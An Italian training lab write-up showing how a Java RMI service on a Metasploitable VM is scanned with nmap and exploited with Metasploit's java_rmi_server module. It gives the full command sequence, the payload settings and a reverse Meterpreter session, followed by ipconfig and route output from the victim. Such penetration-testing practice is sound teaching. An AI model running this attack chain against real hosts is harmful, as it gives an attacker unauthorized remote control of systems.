# Sfruttamento Vulnerabilità Java RMI

## 1. Introduzione e Obiettivo

L'obiettivo di questa attività è simulare un attacco mirato verso una macchina **Metasploitable** per identificare e sfruttare un servizio vulnerabile. Il focus dell'esercizio è il servizio **Java RMI** sulla porta **1099**. L'obiettivo finale è ottenere l'accesso remoto al sistema tramite una sessione **Meterpreter** per raccogliere informazioni sensibili sulla configurazione di rete della vittima.

---

## 2. Fase di Information Gathering

Prima di attaccare, si è reso necessario:

- **Verifica connettività:** È stato eseguito un `ping` preventivo per assicurarsi che la macchina attaccante (Kali, `192.168.11.111`) e la vittima (`192.168.11.112`) fossero nella stessa sottorete e comunicanti.
- **Comando utilizzato:** `nmap -sV 192.168.11.112`
- **Analisi:** La scansione ha confermato che la porta **1099/tcp** è aperta e ospita il servizio `java-rmi`.

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.585 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.355 ms
^C
--- 192.168.11.112 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.355/0.470/0.585/0.115 ms

┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 17:17 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --syst
Nmap scan report for 192.168.11.112
Host is up (0.00033s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
```

---

# 3. Configurazione

Per l'attacco è stato utilizzato **Metasploit** avviato tramite il comando msfconsole

## Selezione del modulo

Tramite il comando search java_rmi È stato scelto il modulo exploit/multi/misc/java_rmi_server.

## Parametri configurati (show options):

Attraverso il comando show options sono stati definiti i seguenti parametri:

- **RHOSTS:** Impostato su 192.168.11.112 (Target).
- **LHOST:** Impostato su 192.168.11.111 (IP di Kali)
- **HTTPDELAY:** Impostato a **20**, questo parametro aumenta il tempo di attesa del server HTTP, evitando che la sessione fallisca a causa di latenze nel caricamento.

## Selezione del Payload (show payloads):

È stato scelto java/meterpreter/reverse_tcp.

```
msf > search java_rmi

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry         .                normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server         2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   2    \_ target: Generic (Java Payload)        .                .          .      .
   3    \_ target: Windows x86 (Native Payload)  .                .          .      .
   4    \_ target: Linux x86 (Native Payload)    .                .          .      .
   5    \_ target: Mac OS X PPC (Native Payload) .                .          .      .
   6    \_ target: Mac OS X x86 (Native Payload) .                .          .      .
   7  auxiliary/scanner/misc/java_rmi_server     2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   8  exploit/multi/browser/java_rmi_connection_impl  2010-03-31  excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)
```

```
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
===================

   #   Name                                       Disclosure Date  Rank    Check  Description
   -   ----                                       ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_aws_instance_connect .                normal  No     Unix SSH Shell, Bind Instance Connect (via AWS API)
   1   payload/generic/custom                     .                normal  No     Custom Payload
   2   payload/generic/shell_bind_aws_ssm         .                normal  No     Command Shell, Bind SSM (via AWS API)
   3   payload/generic/shell_bind_tcp             .                normal  No     Generic Command Shell, Bind TCP Inline
   4   payload/generic/shell_reverse_tcp          .                normal  No     Generic Command Shell, Reverse TCP Inline
   5   payload/generic/ssh/interact               .                normal  No     Interact with Established SSH Connection
   6   payload/java/jsp_shell_bind_tcp            .                normal  No     Java JSP Command Shell, Bind TCP Inline
   7   payload/java/jsp_shell_reverse_tcp         .                normal  No     Java JSP Command Shell, Reverse TCP Inline
   8   payload/java/meterpreter/bind_tcp          .                normal  No     Java Meterpreter, Java Bind TCP Stager
   9   payload/java/meterpreter/reverse_http      .                normal  No     Java Meterpreter, Java Reverse HTTP Stager
   10  payload/java/meterpreter/reverse_https     .                normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   11  payload/java/meterpreter/reverse_tcp       .                normal  No     Java Meterpreter, Java Reverse TCP Stager
   12  payload/java/shell/bind_tcp                .                normal  No     Command Shell, Java Bind TCP Stager
   13  payload/java/shell/reverse_tcp             .                normal  No     Command Shell, Java Reverse TCP Stager
   14  payload/java/shell_reverse_tcp             .                normal  No     Java Command Shell, Reverse TCP Inline
   15  payload/multi/meterpreter/reverse_http     .                normal  No     Architecture-Independent Meterpreter Stage, Reverse
   16  payload/multi/meterpreter/reverse_https    .                normal  No     Architecture-Independent Meterpreter Stage, Reverse

msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

---

# 4. Esecuzione e Post-Exploitation

Lanciando il comando `exploit`, il sistema ha stabilito una connessione inversa creando la sessione 1 di Meterpreter.

```
Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


View the full module info with the info, or info -d command.

msf exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY => 20
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/XZljdC6Oa
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:48479) at 2026-04-16 17:23:20 -0400
```

## Raccolta Evidenze:

Una volta ottenuta la sessione, sono state estratte le seguenti  informazioni:

1. **Configurazione di rete (ipconfig):** Abbiamo confermato l'accesso alla macchina con IP 192.168.11.112
2. **Tabella di routing (route):** È stata visualizzata la tabella di routing della vittima.

```
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:48479) at 2026-04-16 17:23:20 -0400

meterpreter > ipconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe79:f5ee
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fe80::a00:27ff:fe79:f5ee  ::       ::
meterpreter >
```

## 5. Conclusioni

1. L'attacco ha dimostrato come un servizio **Java RMI** non protetto possa permettere a un attaccante di ottenere il controllo completo del sistema.
2. La corretta configurazione del parametro **HTTPDELAY** è stata fondamentale per superare i limiti temporali del protocollo durante la consegna del payload.
3. L'utilizzo di **Meterpreter** ha permesso di agire con rapidità, ottenendo informazioni di rete critiche in tembi molto brevi.